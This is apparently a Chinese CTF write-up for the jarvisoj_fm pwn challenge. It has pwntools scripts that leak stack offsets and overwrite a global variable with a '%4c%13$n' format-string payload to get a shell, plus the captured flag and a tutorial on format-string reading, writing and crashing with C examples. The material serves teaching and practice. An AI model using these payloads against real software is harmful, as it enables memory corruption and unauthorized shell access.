一道pwn題解析之jarvisoj_fm


在該程序中只需要判斷x=4即可獲得系統shell。
查看發現x的值為3,同時得到x的地址為0x804A02C

在printf函數中的參數可控 于是可能存在格式化字符漏洞,利用字符串漏洞重寫x的值。
輸入的字符串會存儲進入棧內,然后printf函數使用輸入的內容作為格式化字符串進行控制輸出。
輸入多個%p打印棧上的內容判斷輸入的數據在棧上離棧頂的偏移。
構造如下AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
from pwn import *
p=remote("node4.buuoj.cn",27668)adrr=p32(0x0804A02C)PAYLOAD=b"AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"p.sendline(PAYLOAD)
p.interactive()

可以計算該偏移量為11。
設計payload如下:
“%4c%n”,65,0x0804A02C //打印4個字符,并將輸出的字符數4根據%n格式控制字符串寫入0x0804A02C,由于輸入的字符串需要存入棧中如下。
故在printf函數提取參數時構造的payload如下:
%4c%13$n0x0804A02C //其中%13$n為將默認的第13個格式化字符串的內容作為格式控制字符串%n的參數。

構造payload
from pwn import *
p=remote("node4.buuoj.cn",27668)adrr=p32(0x0804A02C)payload=b"%4c%13$n"p.sendline(payload+adrr)
p.interactive()

flag{0b8c0e45-ff89-49f3-b6b5-d3edb10d8ec5}
格式化字符串漏洞
漏洞原理:
格式化字符串是一種很常見的漏洞,其產生根源是printf函數設計的缺陷,即printf()函數并不能確定數據參數arg1,arg2…究竟在什么地方結束,也就是說,它不知道參數的個數。它只會根據format中的打印格式的數目依次打印堆棧中參數format后面地址的內容。
格式字符串漏洞發生的條件就是格式字符串要求的參數和實際提供的參數不匹配。
printf("格式化字符串1,格式化字符串2",參數1,參數2...)%d - 十進制 - 打印十進制整數%s - 字符串 - 打印參數地址處的字符串%x,%X- 十六進制 - 打印十六進制數%o - 八進制 -打印八進制整形%c - 字符 - 打印字符%p - 指針 - 打印指針地址 即void *%n - 到目前為止所寫的字符數%<正整數n>c 打印寬度為n的字符串(打印長度為n)
漏洞利用原理:
利用格式化字符串與參數的數量不匹配時編譯依舊能夠通過,并且當滿足格式化字符串的格式要求時按格式化字符串定義對棧上空間內容的控制以至于控制內存空間,從而控制程序。
特別要注意的是%n這個格式化字符串,它的功能是將%n之前打印出來的字符個數(四字節)寫入參數地址處(賦值給一個變量)。
32位的程序,%n取的就是4字節指針,64位取的就是8字節指針。
%hn 寫入兩個字節
%hhn 寫入一個字節
例:
printf("%1234c%hhn",65,0x41414141);
因為1234=0x4D2,所以會往地址0x41414141處寫入0x4D2(1字節)
內存結構
Win32系統中,進程使用的內存按功能可以分4個區域。

棧區:該區域內存由系統自動分配,用于動態存儲函數之間的調用關系。
堆區:該區域內存由進程利用相關函數或運算符動態申請,用完后釋放并歸還給堆區。例如,C語言中用malloc/free函數,C++語言中用new/delete運算符申請的空間就在堆區。
代碼區:存放程序匯編后的機器代碼和只讀數據。
數據區:用于存儲全局變量和靜態變量。
漏洞可能造成影響
程序崩潰
當程序存在格式化字符串漏洞時,通過大量的%s可引起程序崩潰,造成拒絕服務的結果。
Printf()函數的格式化用法如下:
printf("格式化字符串1,格式化字符串2",參數1,參數2...)
其中部分輸出控制符如下:
%d - 十進制 - 打印十進制整數
%s - 字符串 - 打印參數地址處的字符串
%x,%X- 十六進制 - 打印十六進制數
%o - 八進制 -打印八進制整形
%c - 字符 - 打印字符
%p - 指針 - 打印指針地址 即void *
%n - 到目前為止所寫的字符數
%<正整數n>c 打印寬度為n的字符串(打印長度為n)
在函數中當格式化字符串個數與參數個數不相等時,超出的部分將會按照輸出控制的控制字符串的含義執行數據,其中是將棧頂當做第一個超出的輸出控制符對應的參數,依次從棧頂向棧低對應超出的參數。
#include "stdafx.h"int main(int argc, char* argv[]){int a=1;int b=2;printf("%s%s");return 0;}

#include "stdafx.h"int main(int argc, char* argv[]){int a=1;int b=2;printf("%s%s%s%s");return 0;}

查看任意地址的內容
在上述使程序崩潰的過程中我們使用了%s來打印棧空間內容作為地址的字符串,當控制棧空間上的內容為指向一個我們想要去查看內容的地址時,即可用%s進行查看。
如下
#include "stdafx.h"int main(int argc, char* argv[]){int a=0x0012ff74; //該值為字符串變量x在棧上的地址int b=2;char x='h';printf("%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%s");return 0;}
通過控制%s指向我們需要打印的內存空間的地址即可將其進行打印出來。其中重要的是找到存儲任意內存地址在棧上與棧頂的偏移數量。確定偏移可以通過下方的泄漏棧空間內容的方法進行確定。

泄漏棧空間內容
Eg:#include "stdafx.h"int main(int argc, char* argv[]){int a=1;int b=2;printf("%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p",a,b);return 0;}
在printf函數中,當參數個數與格式化字符串不匹配時,將會從棧頂位置向棧底開始打印,將棧內的內容按照格式化字符串的要求打印出來,%p即是打印指針的地址,當存在參數a,和b時,即是打印a,和b所指向的空間的內容,超出部分默認將棧頂當做參數,打印其指向的棧頂地址的內容。

通過printf函數中控制%p的個數即可以泄漏棧的全部內容。
向任意地址寫內容
在printf函數中我們知道存在一個格式化字符串會向內存中寫入數據,即是使用%n
它的功能是將%n之前打印出來的字符個數(四字節)寫入參數地址處(賦值給一個變量)。在32位程序中需要的這個地址即是32位,在64位中地址需要為64位。
#include "stdafx.h"int main(int argc, char* argv[]){int a=0x0012ff74;int b=2;char x='h';printf("%10c%n",x,0x0012ff70);return 0;}
